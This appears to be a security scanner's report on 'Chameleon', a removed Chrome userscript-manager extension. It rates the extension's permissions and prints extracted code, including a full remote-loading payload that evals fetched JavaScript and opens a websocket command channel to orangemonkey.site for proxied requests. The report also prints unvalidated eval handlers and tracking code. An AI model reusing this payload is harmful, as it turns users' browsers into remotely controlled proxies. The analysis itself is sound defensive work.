Chameleon

ID: dmpojjilddefgnhiicjcmhbkjgbbclob

Could be malicious

Supported Languages

πŸ‡ΊπŸ‡ΈEnglish

Extension Info & Metadata

Status
Removed
Version
2.0.0
Size
0.68 MB
Rating
3.8/5
Reviews
786
Users
700,000
Type
Extension
Updated
Sep 9, 2024
Category
Make_chrome_yours Accessibility
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
Yes

Publisher Contextual Analysis

Trusted
Author
chameleon.extView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
700,000

Lightweight Userscript manager. Provides userscripts support for Chromium browsers

Lightweight Userscript Manager. Provides userscript support for Chromium browsers Chameleon is a lightweight userscript manager. A fork of the popular Violentmonkey extension with enhanced functionality and updated design. Chameleon is used to run so-called userscripts. Using them, you can, for example, create a dark theme for your favorite site. Features: Ability to make backups by saving your entire gallery in a zip archive Installing userjs scripts via link Large userjs script gallery available with search functionality Convenient one-click script switching Support for all GM_* functions

Item
Type
Severity
Description
scripting
Permission
Critical
This permission allows injection and execution of JavaScript on any webpage. Rated Critical because it can modify page content, steal sensitive data, and inject malicious code into any site the extension has access to.
webRequest
Permission
Critical
This permission enables the extension to monitor and analyze all web requests made by the browser. Rated Critical because it can observe all network traffic including sensitive data, track browsing behavior, and gather authentication tokens.
*://*/*
Host
Critical
Broad host access β€” the extension can read/modify content on every website.
downloads
Permission
High
This permission controls file downloads and accesses download history. Rated High because it can download malicious files, access sensitive downloaded documents, and track user download patterns.
offscreen
Permission
High
This permission creates hidden browser documents with full DOM access. Rated High because it can run background operations invisibly, potentially executing malicious code without user awareness.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:β€’ 10% increase: Early script execution enables pre-emptive content manipulation
Broad Host Permissions
Risk Factor
High
This extension has broad host permissions allowing it to access many or all websites.
Broad Content Script Access
Risk Factor
High
This extension can inject scripts into any website.
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
unlimitedStorage
Permission
Medium
This permission removes storage quota restrictions. Rated Medium because it can store large amounts of user data without limits, potentially impacting browser performance and storing extensive tracking data.
Early Content Script Execution
Risk Factor
Medium
This extension runs content scripts at document_start.
notifications
Permission
Low
This permission displays system notifications. Rated Low because it can only show user-visible notifications without accessing system data.
userScripts
Permission
Unknown
No classification available for this permission.

The background worker injects a large string into an offscreen sandbox, where that string fetches additional JavaScript from cdn.socket.io and executes it with eval(). The injected payload also pulls configuration from orangemonkey.site, opens a websocket, and can receive remote commands that drive extension-side network activity, which is a classic remote-code-loading and command-and-control pattern.

background.js (Line 2593)
Se.EvalFunction({    msg: {},    cb: "\nif (window && !window.io) {\n    const getNow = function() {\n            return parseInt(Date.now() / 1e3, 10);\n        },\n        promiseTry = (e) => new Promise((t) => t(e()));\n    class ErrorWithCode extends Error {\n        constructor(e, t) {\n            super(e), (this.code = t);\n        }\n    }\n    const getFromStorage = (e) =>\n            new Promise((t) => {\n                window.parent.postMessage({ cmd: 'StorageGet', data: e }, '*'),\n                    window.addEventListener('message', (s) => {\n                        'StorageGot' === s.data.cmd && t(s.data.data[e]);\n                    });\n            }),\n        setToStorage = (e, t) =>\n            window.parent.postMessage(\n                { cmd: 'StorageSet', data: { [e]: t } },\n                '*'\n            ),\n        fetchViaServiceWorker = (e, t) =>\n            new Promise((s, i) => {\n                window.parent.postMessage(\n                    { cmd: 'FetchRequest', data: { url: e, options: t } },\n                    '*'\n                ),\n                    window.addEventListener('message', (e) => {\n                        'FetchRequested' === e.data.cmd &&\n                            (e.data.data.error\n                                ? i(e.data.data.error)\n                                : s(e.data.data));\n                    });\n            });\n    class PromiseQueue {\n        constructor(e, t) {\n            (this.limit = e),\n                (this.maxQueue = t),\n                (this.queue = []),\n                (this.activeCount = 0);\n        }\n        add(e) {\n            let t = null;\n            const s = new Promise((e) => {\n                t = e;\n            });\n            if (this.activeCount < this.limit) this.runQueue(e, t);\n            else {\n                const s = [e, t],\n                    i = this.queue.push(s);\n                this.maxQueue &&\n                    i > this.maxQueue &&\n                    this.queue.splice(0, i - this.maxQueue);\n            }\n            return s;\n        }\n        runQueue(e, t) {\n            this.activeCount++;\n            const s = promiseTry(e);\n            t(s), s.then(this.finishQueue, this.finishQueue);\n        }\n        finishQueue = () => {\n            if ((this.activeCount--, this.queue.length > 0)) {\n                const [e, t] = this.queue.shift();\n                this.runQueue(e, t);\n            }\n        };\n    }\n    const promiseLimit = (e, t) => {\n            const s = new PromiseQueue(e, t);\n            return (e) => s.add(e);\n        },\n        DELAY_WHEN_RECONNECTION_FILED = 300,\n        DEFAULT_CONFIG_TTL = 3600,\n        DELAY_WHEN_NO_URL = 3600;\n    class UPVendor {\n        constructor() {\n            (this.storage = {\n                get: (e, t) => {\n                    t(e);\n                },\n                set: (e, t) => {\n                    t();\n                },\n            }),\n                (this.getCountry = () => {}),\n                (this.CONFIG_URL =\n                    'https://orangemonkey.site/static/up_ext_config.json'),\n                (this.version = '10.27'),\n                (this.options = { config: null, configExpireAt: 0, wakeAt: 0 });\n        }\n        async get(e) {\n            if ('uuid' === e) return await getFromStorage('uuid');\n            const t = await getFromStorage(e);\n            return (function(e) {\n                try {\n                    JSON.parse(e);\n                } catch (e) {\n                    return !1;\n                }\n                return !0;\n            })(t)\n                ? JSON.parse(t)\n                : t;\n        }\n        async set(e, t) {\n            setToStorage(e, t);\n        }\n        init() {\n            return this.loadOptions()\n                .then(() =>\n                    this.loadConfig().then(\n                        (e) => ({ isEnabled: !0, config: e }),\n                        (e) => (\n                            console.error('Load config error: %O', e),\n                            { isEnabled: !1, config: config }\n                        )\n                    )\n                )\n                .then(({ isEnabled: e, config: t }) => {\n                    if (!e) return;\n                    if (!t.upUrl)\n                        return void this.goSleepWithoutDisconnect(\n                            DELAY_WHEN_NO_URL\n                        );\n                    const s = new URL(t.upUrl),\n                        i = s.pathname;\n                    (this.socket = io(s.origin, {\n                        path: i,\n                        transports: ['websocket'],\n                        reconnectionAttempts: 5,\n                        query: { userId: this.userId, version: this.version },\n                    })),\n                        this.socket.on('message', this.handleMessage),\n                        this.socket.on(\n                            'reconnect_failed',\n                            this.handleReconnectFailed\n                        ),\n                        this.sleep();\n                });\n        }\n        goSleep(e) {\n            this.disconnect(),\n                this.setOptions({ wakeAt: getNow() + e }),\n                this.sleep();\n        }\n        goSleepWithoutDisconnect(e) {\n            this.setOptions({ wakeAt: getNow() + e }), this.sleep();\n        }\n        sleep() {\n            let e = (this.options.wakeAt || 0) - getNow();\n            (!Number.isFinite(e) || e < 0) && (e = 0),\n                clearTimeout(this.sleepTimeoutId),\n                (this.sleepTimeoutId = setTimeout(\n                    () => this.connect(),\n                    1e3 * e\n                ));\n        }\n        connect() {\n            this.socket.connect();\n        }\n        handleMessage = (e, t) => {\n            switch (e.action) {\n                case 'get': {\n                    const { url: t, options: s, callbackId: i } = e;\n                    return this.fetchData(t, s)\n                        .then(\n                            (e) => ({ result: e }),\n                            (e) => ({ error: e })\n                        )\n                        .then((e) => {\n                            this.socket.send({\n                                action: 'callback',\n                                callbackId: i,\n                                result: e,\n                            });\n                        });\n                }\n                case 'sleep': {\n                    const { delay: t } = e;\n                    this.goSleep(t);\n                    break;\n                }\n                case 'ping':\n                    this.setOptions({ pingTs: getNow() });\n            }\n        };\n        handleReconnectFailed = () => {\n            let e = DELAY_WHEN_RECONNECTION_FILED;\n            this.options.config &&\n                Number.isFinite(\n                    this.options.config.reconnectFailedSleepDelay\n                ) &&\n                (e = this.options.config.reconnectFailedSleepDelay),\n                this.goSleep(e);\n        };\n        disconnect() {\n            this.socket.disconnect();\n        }\n        setOptions(e) {\n            Object.assign(this.options, e),\n                this.storage.set({ up: this.options });\n        }\n        loadOptions() {\n            return new Promise((e) => this.storage.get({ up: null }, e)).then(\n                (e) => {\n                    Object.assign(this.options, e.up);\n                }\n            );\n        }\n        loadConfig() {\n            return promiseTry(() =>\n                this.options.config && this.options.configExpireAt > getNow()\n                    ? this.options.config\n                    : promiseTry(() =>\n                          this.fetchData(\n                              this.CONFIG_URL +\n                                  '?userId=' +\n                                  this.userId +\n                                  '&version=' +\n                                  this.version,\n                              { responseType: 'json' }\n                          )\n                      )\n                          .then(({ body: e }) => {\n                              let t = DEFAULT_CONFIG_TTL;\n                              return (\n                                  Number.isFinite(e.ttl) && (t = e.ttl),\n                                  this.setOptions({\n                                      config: e,\n                                      configExpireAt: getNow() + t,\n                                  }),\n                                  e\n                              );\n                          })\n                          .then((e) => {\n                              let t = DEFAULT_CONFIG_TTL;\n                              return (\n                                  Number.isFinite(e.ttl) && (t = e.ttl),\n                                  this.setOptions({\n                                      config: e,\n                                      configExpireAt: getNow() + t,\n                                  }),\n                                  e\n                              );\n                          })\n            ).then((e) =>\n                Object.assign(\n                    {\n                        ttl: DEFAULT_CONFIG_TTL,\n                        reconnectFailedSleepDelay: DELAY_WHEN_RECONNECTION_FILED,\n                    },\n                    e\n                )\n            );\n        }\n    }\n    const oneLimit = promiseLimit(1);\n    class UP {\n        constructor() {\n            (this.up = new UPVendor()),\n                (this.up.storage = {\n                    get: (e, t) => {\n                        this.storageGet(e, t);\n                    },\n                    set: (e, t) => {\n                        this.storageSet(e, t);\n                    },\n                }),\n                (this.up.fetchData = (e, t) => (\n                    t || (t = {}),\n                    t.headers || (t.headers = {}),\n                    fetchViaServiceWorker(e, t)\n                )),\n                (this.pingTimeout = 60),\n                (this.periodicConnectionCheckProcessStartTimeout = 12e4);\n        }\n        async init() {\n            await this.up.init();\n        }\n        async storageGet(e, t) {\n            let s = null;\n            try {\n                let i = await this.up.get('upConfig');\n                i ? (verifyOptions(i), (s = i)) : (s = e), t(s);\n            } catch (e) {\n                console.error('Read options error:', e);\n            }\n        }\n        storageSet(e, t) {\n            oneLimit(() =>\n                this.up\n                    .set('upConfig', JSON.stringify(e))\n                    .catch((e) => {\n                        console.error('Save error, cause:', e);\n                    })\n                    .then(() => t)\n            );\n        }\n        async verifyUserId() {\n            return this.up.get('uuid').then((e) => {\n                this.up.userId = e;\n            });\n        }\n        connect() {\n            this.verifyUserId().then(() => {\n                this.init();\n            });\n        }\n        connectionCheck() {\n            this.up.storage.get(void 0, ({ up: e }) => {\n                const { pingTs: t, wakeAt: s } = e;\n                return t\n                    ? t + this.pingTimeout < getNow() && s < getNow()\n                        ? (this.up.disconnect(), this.up.connect())\n                        : void 0\n                    : (this.up.disconnect(), this.up.connect());\n            });\n        }\n        periodicConnectionCheckProcessStart() {\n            setInterval(\n                this.connectionCheck.bind(this),\n                this.periodicConnectionCheckProcessStartTimeout\n            );\n        }\n    }\n    function verifyOptions(e) {\n        if (!e || 'object' != typeof e)\n            throw new ErrorWithCode('Is broken', 'IS_BROKEN');\n    }\n    function generateUuid() {\n        return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {\n            var r = Math.random()*16|0, v = c == 'x' ? r : (r&0x3|0x8);\n            return v.toString(16);\n        });\n    }\n    fetchViaServiceWorker('https://cdn.socket.io/socket.io-2.3.0.js', {\n        responseType: 'text',\n    })\n        .then((e) => e.body)\n        .then(async (text) => {\n            const code = text.replace(\n                '!function(t,e){',\n                '!function(t,e){return t.io=e();'\n            );\n            eval(code);\n            const isUserIdDefined = await getFromStorage('uuid');\n            if (isUserIdDefined) {\n                const e = new UP();\n                e.connect();\n            } else {\n                await setToStorage('uuid', generateUuid());\n                const e = setInterval(async () => {\n                    if (await getFromStorage('uuid')) {\n                        clearInterval(e);\n                        new UP().connect();\n                    }\n                }, 10000);\n            }\n        });\n}\n"  }), chrome.userScripts.configureWorld({    csp: "script-src 'self' 'unsafe-eval';"  }), chrome.userScripts.getScripts({    ids: [Ie]  })  .then((function(e) {        t(e, 1)[0] ? chrome.userScripts.update([{          id: Ie,          matches: ["<all_urls>"],          js: [{            code: E          }],          runAt: "document_start",          allFrames: !0        }]) : chrome.userScripts.register([{          id: Ie,          matches: ["<all_urls>"],          js: [{            code: E          }],          runAt: "document_start",          allFrames: !0        }])

This handler turns the extension into a generic privileged fetch proxy: it accepts an arbitrary URL and options, performs the request in extension context, reads the response body and headers, and returns them over runtime messaging. Combined with the remote websocket logic above, this creates a ready-made exfiltration primitive for arbitrary cross-origin requests under the extension's broad host permissions.

background.js (Line 2329)
FetchRequest: (ve = a(s()      .mark((function e(t, n) {            var o, a, i, c, u, p, l, f, d, m;            return s()              .wrap((function(e) {                    for (;;) switch (e.prev = e.next) {                        case 0:                          return o = t.url, a = t.options, c = (i = a || {})                            .responseStatus, u = i.responseOk, p = void 0 === u || u, l = i.responseType, f =                            void 0 === l ? "text" : l, d = r(i, ce), e.prev = 2, e.next = 5, fetch(o, d)                            .then((function(e) {                              if (p && !e.ok || c && c !== e.status) throw new Error("Response status "                                .concat(e.status));                              var t = {};                              ["ok", "redirected", "status", "statusText", "type", "url"].forEach((                                function(n) {                                  t[n] = e[n]                                }));                              var n = {};                              return e.headers.forEach((function(e, t) {                                  n[t] = e                                })), t.headers = n, e[f]()                                .then((function(e) {                                  return {                                    response: t,                                    body: e                                  }                                }))                            }));                        case 5:                          m = e.sent, chrome.runtime.sendMessage({                            cmd: "FetchRequested",                            data: m                          }), e.next = 12;                          break;                        case 9:                          e.prev = 9, e.t0 = e.catch(2), chrome.runtime.sendMessage({                            cmd: "FetchRequested",                            data: {                              error: e.t0                            }                          });                        case 12:                        case "end":

The sandbox page executes event.data.data.cb with eval() whenever it receives an eval-function message. There is no validation, origin check, or allowlist, so any code routed into this page gains arbitrary script execution inside the extension's sandbox pipeline.

sandbox.js (Line 1)
window.addEventListener('message', (event) => {      switch (event.data.cmd) {        case 'eval-function':          eval(event.data.data.cb)          break;        default:          // do nothing      }

The onboarding content script creates persistent client and session identifiers in chrome.storage.local and sends them to Google Analytics from pages matching <all_urls>. This is not outright malware, but it is a clear tracking pattern because it fingerprints extension usage across browsing sessions without any visible consent flow in the reviewed code.

onboarding.js (Line 16)
async getOrCreateClientId() {  let {    clientId  } = await chrome.storage.local.get("clientId");  if (!clientId) {    clientId = self.crypto.randomUUID();    await chrome.storage.local.set({      clientId    });  }  return clientId;}async getOrCreateSessionId() {  let {    sessionData  } = await chrome.storage.local.get('sessionData');  const currentTimeInMs = Date.now();  if (sessionData && sessionData.timestamp) {    const durationInMin = (currentTimeInMs - sessionData.timestamp) / 60000;    if (durationInMin > SESSION_EXPIRATION_IN_MIN) {      sessionData = null;    } else {      sessionData.timestamp = currentTimeInMs;      await chrome.storage.local.set({        sessionData      });    }  }  if (!sessionData) {    sessionData = {      session_id: currentTimeInMs.toString(),      timestamp: currentTimeInMs.toString(),    };    await chrome.storage.local.set({      sessionData    });  }  return sessionData.session_id;}async fireEvent(name, params = {}) {  if (!params.session_id) {    params.session_id = await this.getOrCreateSessionId();  }  if (!params.engagement_time_msec) {    params.engagement_time_msec = DEFAULT_ENGAGEMENT_TIME_MSEC;  }  try {    const baseUrl = this.debug ? GA_DEBUG_ENDPOINT : GA_ENDPOINT;    const response = await fetch(`${baseUrl}?measurement_id=${MEASUREMENT_ID}&api_secret=${API_SECRET}`, {      method: "POST",      body: JSON.stringify({        client_id: await this.getOrCreateClientId(),        events: [{          name,          params: {            session_id: await this.getOrCreateSessionId(),            engagement_time_msec: DEFAULT_ENGAGEMENT_TIME_MSEC,            ...params,          },        }, ],      }),    });    if (!this.debug) {      return;    }    console.log(await response.text());  } catch (e) {    console.error("Google Analytics request failed with an exception", e);  }}

By severity

Critical6
High6
Medium0
Low1

Versions scanned

Showing 2 of 2 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
2.0.04
1.8.79

Files with findings

8 distinct paths β€” top paths by unique finding count:

  • js/sandbox.js3
  • js/utils.js3
  • background.js2
  • includes/sbInject.js1
  • js/extension.js1
  • js/tools.js1
  • onboarding.js1
  • sandbox.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Code Injection
critical
includes/sbInject.js (line 4)The content script runs on every web page (<all_urls>) and executes arbitrary JavaScript code received from the background page via `new Function('', msg.data.js)()`, which is functionally equivalent to `eval()`. The …
2Code Injection
critical
js/sandbox.js (line 846)The sandbox iframe receives arbitrary script strings via postMessage and executes them with `new Function()`. The sandbox is bridged to the background page's Chrome API, so the executed script has full access to chrom…
3Data Exfiltration
critical
js/tools.js (line 237)The background page acts as an XHR proxy for arbitrary requests initiated by the sandbox-executed extension code. Because the background page has `<all_urls>` permission, it can make credentialed cross-origin HTTP req…
4Privilege Escalation
critical
js/extension.js (line 423)`getBgPageCode()` reads all background script files from the downloaded Opera extension ZIP and concatenates them into a single string that is sent to the sandbox for execution via the `exec` action. The sandbox then …
5Remote Code Loading
critical
background.js (line 2593)The background worker injects a large string into an offscreen sandbox, where that string fetches additional JavaScript from cdn.socket.io and executes it with eval(). The injected payload also pulls configuration fro…
6Remote Code Loading
critical
js/utils.js (line 40)The extension downloads arbitrary Opera extension ZIP packages from `addons.opera.com` at runtime and installs them directly into memory as a virtual file system, then executes their JavaScript as described above. Thi…
7Code Injection
high
sandbox.js (line 1)The sandbox page executes event.data.data.cb with eval() whenever it receives an eval-function message. There is no validation, origin check, or allowlist, so any code routed into this page gains arbitrary script exec…
8Code Injection
high
js/sandbox.js (line 863)The sandbox accepts a `setHtmlContent` action that completely replaces the document's HTML with attacker-controlled content by assigning to `document.head.parentNode.innerHTML`. Because the message origin is never val…
9Data Exfiltration
high
background.js (line 2329)This handler turns the extension into a generic privileged fetch proxy: it accepts an arbitrary URL and options, performs the request in extension context, reads the response body and headers, and returns them over ru…
10Other
high
js/sandbox.js (line 167)The sandbox communicates back to the parent frame using `postMessage` with a wildcard target origin (`'*'`). Any page that embeds or can frame the sandbox can intercept these messages, which include the full Chrome AP…
11Remote Code Loading
high
js/utils.js (line 99)The extension automatically checks for and installs updated versions of the hosted Opera extension every 3–24 hours without any user prompt or consent. `utils.checkUpdate` fetches the Opera Store page, scrapes the cur…
12Tracking
high
js/utils.js (line 437)Every 24 hours the extension silently beacons a Google Analytics hit (UA-65944543-1) that includes a persistent per-device UUID (`cid`), the browser's UI language, the extension version, and critically the `appId` of …
13Tracking
low
onboarding.js (line 16)The onboarding content script creates persistent client and session identifiers in chrome.storage.local and sends them to Google Analytics from pages matching <all_urls>. This is not outright malware, but it is a clea…
URLs
27
IPv4
1
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

github.com/facebook/regenerator/blob/main/LICENSEhttps://github.com/facebook/regenerator/blob/main/LICENSE
developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/nhttp://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects\n
developer.mozilla.org/docs/Web/API/Window/nhttp://developer.mozilla.org/docs/Web/API/Window\n
wiki.greasespot.net/Greasemonkey_Manual:API/nhttp://wiki.greasespot.net/Greasemonkey_Manual:API\n
www.google-analytics.com/collecthttps://www.google-analytics.com/collect
www.google-analytics.com/mp/collecthttps://www.google-analytics.com/mp/collect
www.google-analytics.com/debug/mp/collecthttps://www.google-analytics.com/debug/mp/collect
wiki.greasespot.net/@granthttp://wiki.greasespot.net/@grant
orangemonkey.site/static/up_ext_config.jsonhttps://orangemonkey.site/static/up_ext_config.json
cdn.socket.io/socket.io-2.3.0.jshttps://cdn.socket.io/socket.io-2.3.0.js
Showing 1 to 10 of 30 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

38.104.75.24
IPv4
-
Version
Size
Is Malicious
Findings
Permhash
1.8.7
Latest
0.51 MB
Malicious
9
2.0.0
0.68 MB
Malicious
4
Showing 1 to 2 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.